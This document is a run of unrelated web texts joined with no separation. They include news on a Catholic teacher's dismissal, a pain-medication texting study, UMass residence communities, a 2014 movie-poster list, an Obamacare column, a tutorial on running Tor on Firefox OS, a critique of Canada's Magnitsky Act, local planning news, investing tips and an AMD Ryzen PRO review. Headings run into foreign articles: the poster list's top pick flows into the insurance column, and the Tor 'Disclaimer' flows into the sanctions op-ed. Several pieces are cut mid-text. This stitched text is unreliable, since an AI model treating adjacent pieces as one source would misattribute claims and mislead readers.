In a statement yesterday, the diocese said the union�s decision �acknowledges and affirms that all those who teach within the Catholic school system agree to abide by the rules, regulations and policies of the Diocese, including respecting the moral values advanced by the teachings of Christ and the tenets of the Catholic Church.�
Hale, 57, of Powell, had taught at the Clintonville school for 19 years. Aside from the union grievance, she has filed a complaint with the Columbus Community Relations Commission under a city code that makes it a misdemeanor for an employer to discriminate based on sexual orientation.
Over the past four weeks, more than 125,000 students, alumni and other supporters have signed a petition on change.org seeking her reinstatement. A petition started by supporters of the diocese on the same website about three weeks ago has gained about 700 signatures.
jviviano@dispatch.com
In a new study in the journal Pain Medicine, individuals who texted a friend or stranger during a minor surgical procedure required significantly less pain medication than those who did not.
“The findings have a lot of practical applications,” says Jamie Guillory, a health researcher at RTI International, a nonprofit research institute in North Carolina, who conducted the research as a doctoral student at Cornell University in New York.
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“They should be considered by clinicians thinking of potential ways to help people manage stressful or anxiety-provoking situations in a way that is low-involvement for medical staff and basically cost-free.” Those could include situations such as radiology scans or treatment procedures when a loved one cannot be physically present.
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Past studies have found that distraction techniques, such as listening to music, playing video games, or watching a movie, can reduce the amounts of pain medication needed during medical procedures. “We wanted to see if social support works better than distraction techniques,” says Guillory.
She and colleagues invited 98 patients undergoing a minor surgery, done under a local anesthetic from the waist down, to participate in a study without telling them its purpose. The patients were each assigned one of four tasks: playing the mobile phone game Angry Birds (a distraction technique), texting with a loved one, texting with a stranger, or no intervention. Trained anesthesiologists recorded the amounts of supplemental pain medication each patient required.
Guillory expected the strongest effect to occur while texting with a loved one, but that wasn’t the case: playing a game or texting a loved one did reduce the amount of medication needed, compared to doing nothing, but those who texted with a stranger saw the best results, requiring only one-sixth of the pain medication as individuals with no intervention.
That may be because the conversations with strangers — designed to be a sort of “get to know you” exchange — included more positive emotion words and self-affirming topics than conversations with loved ones, which tended to be centered on the surgery and focus on the body and negative emotions.
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Map of Residence Areas
Defined Residential Communities (DRCs) are hallways in residence halls where students live with friends and hall mates who share similar interests, backgrounds, and identities. The DRCs were originally created by UMass Amherst students and today serve as living and learning communities that support personal growth and academic success.
These communities are not restricted by major, and are open to all sophomore, junior and senior students interested in the particular focus area. DRCs are an ideal choice for students who are looking for a dynamic, hands-on way to learn about the variety of cultures and lifestyles represented at UMass Amherst.
What to Expect
Students who live in the DRCs connect with professional staff and faculty who work with them to build a solid community of peers. Living in a DRC can include the following:
An off-campus team-building retreat in September
Events and programs created by students in the community
Off-campus field trips lead by faculty and staff
Opportunities to help coordinate large-scale campus events in partnership with various offices and academic departments
A Resident Assistant who is committed to the development of the community
Optional related courses that students can take with hall mates
While all of the DRCs have their own established culture and personality, they are constantly growing and changing to fit the needs of the individual students who live there. We hope that you will join a DRC this year and help make it what you want it to be.
Interested in Applying?
Applications for the 2019-2020 academic year will be open on December 13, 2018! You will be able to find all links to individual communities below.
Defined Residential Communities 2019-2020
Nuance: Multicultural Student Community
Southwest Area
Nuance is designed for students who want to explore and bridge commonalities and differences across their diverse social identities, including race/ethnicity, gender, religion, sexual orientation, and socioeconomic class. Whether pursuing a program of study related to social justice or simply interested in dialogue and exploration of these issues, students will have opportunities to take classes together, engage in dialogues with each other, and connect with campus organizations and centers focused on social justice. Students will develop awareness, knowledge, and skills to collaboratively create an inclusive residential community.
Apply here!
Asian/Asian American Student Community
Northeast Area
The Asian/Asian American Community emphasizes the value of understanding the links between Asian and Asian American issues in an era of global migration, media, and capital. Students in the community gather frequently to discuss issues of identity, leadership, belonging, and values. Professional staff and faculty in the Asian/Asian American Community are highly visible and work closely with students to coordinate events and create strong friendships. The Asian/Asian American Community also plans regular off-campus field trips focused on culture and community-building.
Apply here!
Harambee: African/African American Student Community
Southwest Area
Harambee, Swahili for “the pulling together point” or “the point at which all things come together”, is an inclusive and supportive community that honors African/African American/Black identities and provides intentional space for African/African American/Black cultures. In Harambee, students will have opportunities to share and learn from one another’s cultural experiences and backgrounds, as well as connect over current events related to Black identity. Students will participate in programming that explores multiple facets of African/African American/Black life and have the option of taking courses linked to the community’s mission and values.
Apply here!
Spectrum: LGBTQIA+ Student Community
Central Area
Spectrum is a comfortable and inclusive community that supports the rights and needs of lesbian, gay, bisexual, transgender, queer, and asexual people and their allies. Spectrum is also a space for people who are just beginning to explore their sexual and gender identities. Through programming and other initiatives, this community fosters connections between individuals with shared experiences and interests. Spectrum encourages students to learn about and actively seek ways to eradicate genderism and heterosexism. Resources available to the community include collaborations with the Stonewall Center and the Pride Alliance. The Spectrum hallway has a gender-inclusive bathroom, and students can request a gender-inclusive room (have a roommate of any gender). Apply Here!
Wellness Student Community
Orchard Hill Area
Students join this community for a variety of emotional, physical, and spiritual reasons related to broad, holistic personal definitions of “Wellness”. This is a strictly substance-free community (including alcohol, even for those who are of legal age). We mean to offer residents of the Wellness Community a safe space from substance use behaviors and culture of all kinds while being supportive of individuals’ needs and differences. Respect is a key component of the Wellness Community. Wellness students work together to create safe, healthy, and inclusive communities. They participate in a shared living experience through educational programming, optional academic health and physical education courses, and community-building through collaboration and communication.
Apply here!
Kanonhsesne: Native American Student Community
Central Area
Kanonhsesne, which is Mohawk for “the place where we live,” is a community that provides opportunities to pursue academic excellence, engage in developing a working knowledge of historical and contemporary Indigenous issues, and develop a sense of community for Native American/Indigenous students and their allies. Students make a commitment to engage in the programming and recommended courses to become more aware global citizens and allies to each other. Students have opportunities to participate in a variety of related campus events.
The 21 Best Movie Posters Of 2014
A lot of really great movies came out in 2014. Hopefully, even more great movies will come out in 2015. But regardless of quality, here are the movie posters that made us drop everything and run to the local cineplex this year -- and some from next year, since all posters that were released this lovely calendar year are fair game:
21. "That Awkward Moment"
It's Zac Efron holding a kitten. What more could you want?
20. "Men Women & Children"
Beautiful, and also perfectly reflects the tone of the movie.
19. "The Grand Budapest Hotel"
There's something about the Grand Budapest that makes you really want to go to there. Also, it's impressive that you can instantly look at this poster and tell who directed the movie.
18. "#Filth"
James McAvoy is climbing a ladder of cocaine. It's funny.
17. "Afflicted"
I'm a sucker for good body horror. "Afflicted" -- and its poster -- are good body horror.
16. "The Interview"
Between this and "Neighbors," Seth Rogen is on a roll. I haven't seen "The Interview" yet, but it's hard not to want to with this poster.
15. "Fifty Shades of Grey"
More like "every woman with a pulse will see this movie, now."
14. "Inherent Vice"
So much pink! So much L.A. cool!
13. "John Wick"
Totally simple, totally gets the point across that this dude is about. To. Go. OFF.
12. "X-Men: Days of Future Past"
The film is beautiful chaos, and so is its poster.
11. "Nightcrawler"
Sick retro newspaper print.
10. "Whiplash"
The old school Brazilian poster for "Whiplash" is a cinephile's dream, and also makes excellent use of an anxiety-provoking color.
9. "Dawn of the Planet of the Apes"
Caesar. Like. Movie Poster. MORE. Than Ape.
8. "Avengers: Age of Ultron"
This poster was the talk of the Comic-Con town. We understand why. THEY'RE ALL THERE AND THEY'RE FIGHTING EACH OTHER AHHHHHH!!
7. "The Fault in our Stars"
All controversy over the tagline aside, it was a simple yet gorgeous poster that was perfect for the film's teen audience. Bravo.
6. "Mad Max: Fury Road"
Awesome.
5. "The Babadook"
This one somehow cut right through to the core of your childhood nightmares and turned them into a poster. Thank you, Mr. Babadook.
4. "Blue Ruin"
Blue like my soul after watching this movie.
3. "Guardians of the Galaxy"
Thank you.
2. "The Hateful Eight"
This is going to be THE dorm poster for every incoming film student freshman next year, and with good reason. It's awesome.
1. "Under the Skin"
But those poll numbers will change as more people like Bob Freukes of St. Louis and Donna Smith of Denver are finally able to shop for coverage on the new health insurance websites -- and find coverage that is surprisingly affordable.
Considering all the negative stories about the malfunctioning HealthCare.gov website and policy cancellations folks have been receiving, the steep decline in support for Obamacare shouldn't surprise anyone.
But in the very week that poll numbers reached an all-time low, people who had tried for more than a month to enroll online in a health plan were finally able to do so.
Just minutes after the administration's tech surge team said 90 percent of applicants were now able to enroll online, I started getting emails from people eager to share their success stories.
"My wife and I are both self-employed small sole proprietors," wrote Freukes, a photographer. "This will be the first time in our married lives we will have health insurance."
Freukes said that over the course of the past year, he and his wife -- married 30 years and are now in their fifties -- rarely went to the doctor because of the expense.
"We paid for doctor visits, prescriptions, eye glasses and everything else out of [our] own pockets, always knowing we were one major illness away from bankruptcy.
"We tried to find an affordable policy, but the going rate for my wife and me was roughly $900-$1,400 dollars a month with deductibles in the $5,000 range." Considering that their combined annual income is often no more than $25,000, health insurance was out of the question.
Not only will they finally have coverage starting January 1, it will cost the Freukes less than they had expected because of the federal tax credits available to low- and middle-income individuals who buy coverage on the state exchanges. In fact, with the tax credits, the Freukes will not have to pay monthly premiums at all.
"I sat rubbing my eyes in amazement as the website did the math. Our portion of the premium for both plans was ZERO. No cost to us at all. I was stunned."
Donna Smith wasn't that fortunate, but she at long last will be able to get a comprehensive policy that she can afford.
Like Bob Freukes, it took Smith weeks of effort before she was finally able to enroll in a plan. Her delay, though, was caused by a different, though no less frustrating quirk in the system. Colorado is one of 13 states and the District of Columbia operating their own exchanges, which generally have experienced fewer problems than the federal website, where residents of most states have been sent. Several thousand people were able to begin the application process in Colorado but they had to wait -- and wait and wait -- while state officials checked to see if the applicants were eligible for Medicaid.
Smith knew her income was too high to qualify for Medicaid, but she nevertheless had to fill out an extensive questionnaire and was put in what she described as a "bureaucratic black hole" for 37 days. It was an agonizing wait for Smith, a cancer survivor who -- along with husband Larry -- had to file for bankruptcy several years ago because of medical debt. If her name sounds familiar, by the way, it might be because you've seen her in the movies. When she wrote filmmaker Michael Moore about her plight, he included her in the 2007 documentary, SiCKO. Since then she has been an active supporter of health care reform.
After she finally got the Medicaid denial she was expecting, Smith called Connect for Health Colorado -- the name of the state exchange -- and worked with an employee to complete her application.
"If people can get through the Medicaid process, I think they'll be pleasantly surprised," said Smith, who has been paying $875 a month for an individual policy. Beginning next year, she will be covered in a better plan, but it will cost her only $450 a month after factoring in a $72 federal tax credit.
Please read the disclaimer at the end of this article. This is a proof of concept. It's a manual process and you shouldn't depend on it. Make sure you understand what you are doing.
I'm a fan of Tor. The Tor site explains what it does:
Tor is free software and an open network that helps you defend against traffic analysis, a form of network surveillance that threatens personal freedom and privacy, confidential business activities and relationships, and state security.
I make my personal website available as a Tor hidden service accessible from mh7mkfvezts5j6yu.onion. I try to make other sites I'm involved with also have a presence over Tor. I do a fair amount of my browsing over the Tor network for no reason other than I can and it limits the opportunity for people snooping on my data.
I want to be able to use Tor from Firefox OS. In particular I want it embedded as low level as possible so I have the option of all traffic going over Tor. I don't want to have to configure socks proxies.
Firefox OS doesn't allow native applications. The low level underlying system however is based on Linux and Android and can run native binaries. Starting with a rooted Firefox OS install I built Tor and used iptables to reroute all network traffic to work over it. This is a first step and is what this article demonstrates how to get going so power users can try it out. My next step would be to investigate integrating it into the build system of Firefox OS and providing ways to start/stop it from the OS interface.
The first stage of building is to have an Android standalone toolchain installed. I describe how to do this in my Wasp Lisp on Android post or you can use a Nix package I created for use with the Nix package manager.
Building libevent
Tor requires libevent to build. I'm using static libraries to make creating a standalone tor binary easier. The following will build libevent given the standalone toolchain on your path:
$ cd $HOME $ mkdir build $ cd build $ wget https://github.com/downloads/libevent/libevent/libevent-2.0.21-stable.tar.gz $ tar xvf libevent-2.0.21-stable.tar.gz $ cd libevent-2.0.21-stable $ ./configure --host=arm-linux-androideabi \ --prefix=$HOME/build/install \ --enable-static --disable-shared $ make $ make install
Building zlib
Tor requires openssl which in turn requires zlib:
$ cd $HOME/build $ wget http://zlib.net/zlib-1.2.8.tar.gz $ tar xvf zlib-1.2.8.tar.gz $ cd zlib-1.2.8 $ CC=arm-linux-androideabi-gcc ./configure --prefix=$HOME/build/install --static $ make $ make install
Building openssl
$ cd $HOME/build $ wget http://www.openssl.org/source/openssl-1.0.1h.tar.gz $ tar xvf openssl-1.0.1h.tar.gz $ cd openssl-1.0.1h $ CC=arm-linux-androideabi-gcc ./Configure android no-shared --prefix=$HOME/build/install $ make $ make install
Building tor
$ cd $HOME/build $ wget https://www.torproject.org/dist/tor-0.2.4.22.tar.gz $ cd tor-0.2.4.22 $ ./configure --host=arm-linux-androideabi \ --prefix=$HOME/build/install \ --enable-static-libevent $ make $ make install
Packaging Tor for the device
To run on the Firefox OS device I just installed the tor binary and a configuration file that enables transaparent proxing as per the Tor documentation on the subject. I put these in a directory that I push to an easily accessible place on the device:
$ mkdir $HOME/build/device $ cd $HOME/build/device $ cp $HOME/build/install/bin/tor . $ cat >torrc ...contents of configuration file... $ adb push $HOME/build/device /data/local/tor
The configuration file is:
DataDirectory /data/local/tor Log notice file /data/local/tor/tor.log RunAsDaemon 1 SOCKSPort 127.0.0.1:9050 IsolateDestAddr SOCKSPort 127.0.0.1:9063 VirtualAddrNetwork 10.192.0.0/10 AutomapHostsOnResolve 1 TransPort 9040 DNSPort 9053
Running tor
I haven't integrated tor into the device at all so for this proof of concept I adb shell into it to run it and configure the iptables to redirect traffic:
$ adb shell # cd /data/local/tor # ./tor -f torrc & # iptables -t nat -A OUTPUT ! -o lo -p udp --dport 53 -j REDIRECT --to-ports 9053 # iptables -t nat -A OUTPUT ! -o lo -p tcp -j REDIRECT --to-ports 9040
Testing
The device should now be sending traffic over Tor. You can test by visiting sites like whatismyip.com or icanhazip.com to see if it reports a different IP address and location to what you normally have. You can also try out hidden services like mh7mkfvezts5j6yu.onion which should show this site.
Removing
Killing the Tor process and removing the iptables entries will set the network back to normal:
$ adb shell ps|grep tor $ adb shell # kill ...process id of tor... # iptables -t nat -F
You can optionally delete the /data/local/tor directory to remove all tor files:
$ adb shell rm -r /data/local/tor
Future
This is just a proof of concept. Don't depend on this. You need to restart Tor and the iptables commands on reboot. I'm not sure how well interaction with switching to/from WiFi and GSM works. Ideally Tor would be integrated with Firefox OS so that you can start and stop it as a service and maybe whitelist or blacklist sites that should and shouldn't use Tor. I hope to do some of this over time or hope someone else gets excited enough to work on it too.
Another privacy aspect I'd like to investigate is whether TextSecure (or a similar service) could be integrated in the way it's done in CyanogenMod:
"The result is a system where a CyanogenMod user can choose to use any SMS app they'd like, and their communication with other CyanogenMod or TextSecure users will be transparently encrypted end-to-end over the data channel without requiring them to modify their work flow at all."
Ideally my end goal would be to have something close to that described in the hardening Android post on the Tor Project blog.
I'm not sure how possible that is though. But Firefox OS is open source, easy to build and hack on, and runs on a lot of devices, including multi booting on some. Adding things like this to build your own custom phone OS that runs web applications is one of the great things the project enables. Users should feel like they can dive in and try things rather than wait for an OS release to support it (in my opinion of course).
Test Builds
A tar file containing a precompiled tor and the torrc is available at b2g_tor.tar.gz.
Disclaimer
The Act gives the government of Canada the authority to seize, freeze, or sequestrate the property of a foreign national in the event that the said foreign national does any of the following things:
(a) is responsible for, or complicit in, extrajudicial killings, torture or other gross violations of internationally recognized human rights … (b) … acts as an agent of or on behalf of a foreign state in a matter relating to an activity described in paragraph (a); (c) … is responsible for, or complicit in, ordering, controlling, or otherwise directing, acts of significant corruption. …; or (d) … has materially assisted, sponsored, or provided financial, material or technological support for, or goods or services in support of, an activity described in paragraph (c).
On the face of it, this is all very fine. If people are responsible for “extrajudicial killings, torture, or other gross violations of internationally recognized human rights,” or for “acts of significant corruption,” then why should Canadians tolerate them? Aren’t sanctions against them a perfectly reasonable response?
It’s hard to argue against that. If one does, one appears to be saying that “gross human rights violations” and “significant corruption” are perfectly fine, which of course they’re not. So what could possibly be wrong with this Act?
Several things, as it turns out.
The first relates to how one determines what constitutes a gross human rights violation and who has committed one. If we are in a position of having to sanction somebody for them, that means that they are currently at liberty and haven’t been convicted of any such crime. So, in practice, the implementation of this Act will depend upon who the Government of Canada, for its own private reasons and through its own personal political logic, determines has committed such heinous acts and is worthy of punishment. The result will inevitably be selective application of the law based upon political, not human rights, considerations.
The second issue relates to the fact that the Act is legally unnecessary. Canada is a monarchical system. The Crown possesses considerable executive authority. If the Crown, in the form of Her Majesty’s Government, wants to impose sanctions upon somebody, it can already. It doesn’t need a Magnitsky Act to allow it to do so. In fact, the Canadian government resisted the idea of such an Act for quite a while on precisely those grounds.
So, if the Act isn’t actually needed for the Canadian government to pursue its human rights agenda, why has Parliament passed it? The answer isn’t what the Act’s supporters would have you believe.
Theoretically speaking, the Act doesn’t target citizens of any one state. It applies generally to citizens of all states. Superficially, therefore, it’s just an expression of Canada’s commitment to universal human rights. But only superficially. In reality, it’s a political document targetted at one country in particular – the Russian Federation. This is very clear not only from the short title with the words ‘Magnitsky Act’ in parentheses, but also from the Act’s preamble. This says the following:
Whereas Sergei Magnitsky, a Moscow lawyer who uncovered the largest tax fraud in Russian history, was detained without trial, tortured and consequently died in a Moscow prison on November 16, 2009; Whereas no thorough, independent and objective investigation has been conducted by Russian authorities into the detention, torture and death of Sergei Magnitsky, nor have the individuals responsible been brought to justice; Whereas the unprecedented posthumous trial and conviction of Sergei Magnitsky in Russia for the very fraud he uncovered constitute a violation of the principles of fundamental justice and the rule of law; … Whereas the Litvinenko Inquiry report, presented to the United Kingdom Parliament on January 21, 2016, found that two Russian agents, Andrei Lugovoi and Dmitry Kovtun, were responsible for the assassination of Alexander Litvinenko and that there was a “strong possibility” that they were acting on behalf of the Russian Federal Security Service; Whereas Russian opposition politician Boris Nemtsov was assassinated outside the Kremlin on February 27, 2015, and to this day no thorough, independent and objective investigation has been conducted by Russian authorities; … Whereas member of the Ukrainian Parliament Lieutenant Nadiya Savchenko and other Ukrainians were illegally convicted and imprisoned in Russia in violation of international norms and fundamental justice; … Whereas it is important to acknowledge and remember Sergei Magnitsky’s sacrifice, as well as the sacrifice of other victims of gross violations of internationally recognized human rights; … Now, therefore, Her Majesty, by and with the advice and consent of the Senate and House of Commons of Canada, enacts as follows:
Note how only one country – Russia – is listed as having committed violations of human rights, and only one country’s behaviour is given as a rationale for the Act – Russia. And note how only one other country is even mentioned, and in that regard as a victim of Russian maleficence – Ukraine. And then look at who sponsored the Bill – Senator Raynell Andreychuk, a prominent member of Canada’s Ukrainian community – and now you understand what this is really about. This isn’t about human rights throughout the world. Does anybody seriously imagine that human rights violators or corrupt officials anywhere in the world are going to be deterred because Canada is threatening them with sanctions? And does anybody seriously imagine that the Canadian government is going to use this Act to seize the property of human rights violators and corrupt officials from all countries with equal zeal? Does anybody actually imagine, for instance, that corrupt Ukrainian officials are going to suddenly find themselves at the receiving end of this Act? Of course not. That’s not the point. The point is simple – it’s to poke a finger in Russia’s eye, and to engage in some public grandstanding, by declaring that Russia is a vile, human-rights abusing monster, whereas Canada is a wonderful human-rights-defending paragon of virtue. We Canadians can then pat ourselves on the back because of our eminent goodness, while lending a moral hand to our wonderful friends in Ukraine in their struggle against ‘Russian aggression.’
‘So what?’ you may ask. What harm does it do? Isn’t declaring our values a worthwhile objective in and of itself? Well, yes it is, but only if we’re truly consistent in pursuing those values, not only in terms of our relations with foreign nationals but also in terms of our own behaviour. Double standards are dangerous. So too is self-righteousness. This Act reeks of both.
Let’s be clear here. I’m not saying that the Russian Federation is a bastion of liberty and good government. I’m not saying that horrible things don’t happen there. And I’m not saying that there’s not a lot of corruption in Russia. But if anybody imagines that this Act will somehow make things any better there, they’re kidding themselves. More likely, our self-satisfied projection of moral superiority will serve only to alienate others, and make them less rather than more inclined to listen to us. This won’t help to improve Russia-Canada relations; nor will it help end the war in Ukraine or help turn that poor suffering country into the model of Western-style liberal democracy this Act’s supporters no doubt want it to be. It’s grandstanding, pure and simple, and grandstanding never does much good.
In 1990, barely 10 percent of the Rocket City's population was age 65 or older. That's shifting as the Baby Boom generation reaches retirement age. By 2030, senior citizens are expected to account for nearly 17 percent of the city's population.
City planners say Huntsville must ensure that seniors have the public transportation, housing options and other resources needed to live independently in the future.
If that topic interests you, come to Wednesday's "Aging in Place" BIG Picture Citizens Academy. The meeting, which is free and open to anyone, is scheduled for 2-4 p.m. in the City Council chambers on the ground floor of Huntsville City Hall, 308 Fountain Circle.
The discussion will be led by Whit Blanton, whose insights into the country's graying population led the American Planning Association to adopt new planning guidelines for senior citizens. Blanton, founder of Renaissance Planning Group in Orlando, Fla., has 25 years of experience designing more walkable and livable communities.
Dennis Madsen, Huntsville's manager of long-range planning, said Wednesday's Citizens Academy meeting will focus mostly on the transportation and housing needs of people over 65.
"We're a car-dependent community, and as people age and are less comfortable driving, they can become isolated from their home, friends, family and faith groups," said Madsen. "They have been in their single-family homes for decades, and if they want to downsize, we simply don't have enough good transportation and housing options that allow people to remain close to the neighbors and support systems they have enjoyed."
This is the fourth of five planned Citizens Academy sessions that Huntsville planners are using to help craft a long-range master plan for the city. Past sessions have focused on Ditto Landing, commercial development and breathing new life into older neighborhoods.
Eduardo "Edward " Garcia was camping at Lake Griffin State Park in Fruitland Park, Fla., about 50 miles north of Orlando, when he called 911 to report a harassing phone call he received, police said. While on the phone, he asked the female dispatcher if she was single and told her he had big muscles. He called back twice more after the dispatcher hung up on him.
Officers went to the park where Garcia was camping and found him lying in his tent with an open can of beer and three more cold ones by his side. Officers called the phone number the 911 calls had originated and the phone by Garcia rang.
1. What Level of Involvement Is Required?
The level of involvement that goes along with investing in a start-up directly corresponds to the type of investment. For example, someone who invests in a startup through a venture capital firm, for instance, would have limited interaction with the team that runs the start-up. An angel investor, on the other hand, is looking at a very different scenario.
With angel investments, the investor is granted an equity stake in the company which means they have the opportunity to participate in decision-making, alongside the startup's leadership. By comparison, an investor who funds a startup's crowdfunding campaign would also receive an equity share but they wouldn't have the same scope of control as an angel investor. Ultimately, it's important to be clear on how much or how little involvement you'd like when handing money over to a startup.
2. What's the Timeframe?
For every overnight success story, there are hundreds if not thousands of startups that take years to realize a profit. Investing is a long-term game, but it's important to have some idea of the timeline so you can compare it to your personal expectations. While some investors may be comfortable with waiting ten years to realize a return, others may want to get their money back within five years.
Evaluating the startup's track record can make it easier to approximate how long the investment horizon will be. One way to judge a company's potential is the burn rate. This is simply how much money is being spent each month. If a startup is still in its early stages but the burn rate is exceptionally high, that may be a sign that investors are going to be waiting longer to receive a payout.
3. What's the Expected Rate of Return?
Angel and venture capital investments are often fueled by a desire to help entrepreneurs succeed, but the possibility of making money is also part of the appeal. Analyzing the potential return on investment (ROI) associated with a particular startup is a must for investors who are focused on maximizing earnings. Again, returns depend on the type of investment involved.
For an angel investor, it's typical to anticipate an annual return in the 30% to 40% range. Venture capitalists, on the other hand, assume a higher degree of risk which translates to a higher expected rate of return. Equity crowdfunding is an equally high-risk investment strategy and because it's still relatively new, pinning down an average rate of return is difficult.
When estimating returns, take care not to overlook any fees or costs associated with the investment. For example, there may be annual management fees related to a venture capital investment. Crowdfunding platforms also charge investors a fee to use their services. The higher the expense associated with a particular investment, the more returns are diminished.
4. How Does the Investment Affect Diversification?
Diversification is the benchmark of any solid investment portfolio, and the number one goal is minimizing risk without curtailing returns. When considering a startup investment, investors must be aware of how it affects their overall asset mix and risk level. Finding the right balance, however, can be tricky.
With stocks, there are clear divisions between asset classes that make it easier to spread the risk out. Startups require a different way of thinking because it's essentially a hit-or-miss proposition. As a general rule, the more startups an investor puts money into, the greater the odds of achieving target returns. At the same time, spreading investment dollars too thin can backfire if there isn't a winner in the pack.
5. Is There a Clear Exit Strategy?
Having a definite exit strategy in place is a requirement for any investment, but it's particularly important with startups. Investors should be clear on when and how they'll be able to withdraw their initial investment, along with any associated gains. For example, an angel investor would need to know at what point they'd be able to sell their equity shares. Again, this is why it's necessary to be aware of the time frame involved to make sure you're able to exit at a point you're comfortable with.
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As anyone who's watched television for 10 minutes knows, junk food is everywhere. Children and adults alike, according to a recent Yale University study, eat when they're not hungry when gloriously bad-for-you foods are displayed:
One test found that children aged 7 to 11 who watched a half-hour cartoon that included food commercials ate 45 percent more snack food while watching the show than children who watched the same cartoon with non-food commercials. ... In another experiment, adults who saw TV ads for unhealthy foods ate much more than those who saw ads that featured messages about good nutrition or healthy food.
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How does one fight "automatic eating?" Being sure to skip the commercials—TiVo forwarding or walking away for a minute should do the trick. If snacking is something you're doing because you actually get hungry at TV time, try eating one substantial snack instead of lots of little bits, or switching to nuts, yogurt, or other high protein/low calorie snacks.
Break the Snack Habit Real Simple has an intriguing article on how to break bad eating habits, including snacking between … Read more Read
Not convinced skipping the commercials can fight the snacking urge? Got a better way to keep away from cravings? Tell us your trick in the comments.
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It’s that time again! We are having another community game night. Come hang out with KBMOD contributors and readers.
Last time we played Team Fortress 2, Call of Duty 4, Counter Strike: Source, and Killing Floor. Tonight we can even join off Blacklight: Retribution servers as they are easier to use now! These all work well, but let us know in the comments if there are any other games that are accessible to large groups and we can maybe try those. We can always switch games as the night goes on!
We will be coordinating through Steam group chat, as well as our Ventrilo server:
To access Steam group chat, navigate to the KBMOD Steam group, then click “Enter chat room” in the Actions pane on the right-hand side.
To access the KBMOD Ventrilo, you can find the server information posted in the Steam group as well. The server may reach capacity quickly, so if you can’t join, we ask that you be patient and just join the Steam group chat room.
AMD Ryzen Pro: The Family Portrait
The AMD Ryzen PRO lineup of processors consists of six SKUs that belong to the Ryzen 7, Ryzen 5 and Ryzen 3 families targeting different market segments and offering different levels of performance. As one would expect, the Ryzen 7 PRO models are aimed at workstation applications and thus have all eight cores with simultaneous multithreading enabled, the Ryzen 5 PROmodels are designed for advanced mainstream desktops and therefore have four or six cores with SMT, whereas the Ryzen 3 PRO models are aimed at office workloads that work well on quad-core CPUs without SMT. The specifications of the Ryzen 7 PRO and the Ryzen 5 PRO resemble those of regular Ryzen processors. Meanwhile, the Ryzen 3 PRO are the first chips from the Ryzen 3 lineup and thus give us a general idea what to expect from such products: four cores without SMT operating at 3.1 – 3.5 GHz base frequency along with 2+8 MB of cache.
AMD Ryzen PRO Specifications Cores/Threads Frequency Cache TDP Base Boost L2 L3 Ryzen 7 PRO 1700X 8/16 3.5 GHz 3.7 GHz 4 MB 16 MB 95 W Ryzen 7 PRO 1700 3 GHz 3.7 GHz 65 W Ryzen 5 PRO 1600 6/12 3.2 GHz 3.6 GHz 3 MB Ryzen 5 PRO 1500 4/8 3.5 GHz 3.7 GHz 2 MB Ryzen 3 PRO 1300 4/4 3.5 GHz 3.7 GHz 8 MB Ryzen 3 PRO 1200 4/4 3.1 GHz 3.4 GHz
Just like other Ryzen CPUs, all the Ryzen PRO chips fully support ECC technology, but with certain limitations when it comes to data transfer rates and memory modules — these are peculiarities of the controller and the PRO moniker cannot change them. One of the things to note is that AMD used only DDR4-2400 memory for their internal testing of the Ryzen PRO CPUs, thus, expect PC makers to use the same speed DRAM for their desktops as well.
In fact, when it comes to their general feature set, all of the AMD Ryzen PRO CPUs support the same capabilities as their non-PRO brethren do, including AMD’s SenseMi, Precision Boost, Extended Frequency Range, Neural Net Prediction and so on. There is even the AMD Ryzen 7 PRO 1700X CPU in the lineup, completely with its extended performance and 95 W TDP (the first for any AMD PRO platform). Meanwhile, there are four things that the Ryzen PRO bring to the table that give it its PRO designation: enhanced security features, enterprise-class manageability, processor and platform longevity, and enhanced quality (which we are going to touch upon later).
With the launch of the Ryzen PRO, AMD is offering pure CPUs for business desktops for the first time ever. Previously the company only offered its A PRO-series of APUs with integrated graphics and TDPs ranging from 35 to 65 W. By contrast, the new CPUs are offered with 65 – 95 thermal envelops, which means that we are not going to see ultra-small form-factor workstations running AMD Ryzen PRO, but may finally see full-sized desktops.
It makes sense to note that all Ryzen PRO CPUs, including the highest performing and the most affordable SKUs, will support all of the advertised enterprise/business-grade capabilities. AMD is especially proud about that because their rival Intel does not support enterprise features (such as vPro) on lower-end Core i3 models. At this point AMD is not disclosing the prices of its Ryzen PRO CPUs, and the only metrics that AMD uses in comparing the PRO chips against competing SKUs is performance, not MSRPs or TDPs.
AMD Ryzen PRO Competitive Positioning Based on Performance Tier AMD Intel Model Key Features Price Model Key Features Price Ryzen 7 PRO 1700X 8C/16T, 3.5/3.7 GHz, 16 MB L3 cache, 95 W ? - - - Ryzen 7 PRO 1700 8C/16T, 3/3.7 GHz, 16 MB L3 cache, 65 W Core i7-7700 4C/8T, 3.6/4.2 GHz, 8 MB L3 cache, 65 W $303 - $312 Ryzen 5 PRO 1600 6C/12T, 3.2/3.6 GHz, 16 MB L3 cache, 65 W Core i5-7500 4C/4T, 3.4/3.8 GHz, 6 MB L3 cache, 65 W $192 - $202 Ryzen 5 PRO 1500 4C/8T, 3.5/3.7 GHz, 16 MB L3 cache, 65 W Ryzen 3 PRO 1300 4C/4T, 3.5/3.7 GHz, 8 MB L3 cache, 65 W Core i3-7100 2C/4T, 3.9 GHz, 3 MB L3 cache, 51 W $117 Ryzen 3 PRO 1200 4C/4T, 3.1/3.4 GHz, 8 MB L3 cache, 65 W - - -
Such comparison shows that AMD’s Ryzen PRO lineup for desktops can cover a wider range of performance requirements than Intel’s mainstream vPro offerings do. For example, the AMD Ryzen PRO 1700X does not have a direct competitor from Intel – at least, not by AMD's accounting. In addition, AMD’s Ryzen 3 PRO 1200 also does not have a corresponding rival from the Core i3 lineup from performance point of view, based on AMD’s comparison. However, since Intel also offers Core i7 and Core i5 CPUs with TDP reduced to 35 W (for which AMD does not have announced competitors in the Ryzen PRO range), such performance-focused comparison does not draw a complete picture.
New AMD Security Technologies
Now let;'s dive into the security features of the AMD Ryzen PRO platform. For years AMD’s processors for business PCs supported additional security technologies (collectively known as AMD Secure Processor and Platform Security Processor before that) enabled by the ARM TrustZone platform with the ARM Cortex-A5 core. AMD’s previous-gen PRO-series APUs included Secure Boot, Content Protection, per-Application security, fTPM 2.0, and support for Microsoft Device Guard, Windows Hello, fingerprint security, data protection and so on. The Ryzen PRO brings all of these features forward, and also adds Transparent Secure Memory Encryption (TSME) on top of them.
To explain what TSME is, it makes sense to refer to AMD’s Zen memory encryption technologies in general. The Zen microarchitecture features two important technologies: Secure Memory Encryption (SME) and Secure Encrypted Virtualization (SEV) that protect data in DRAM using a dedicated AES-128 engine.
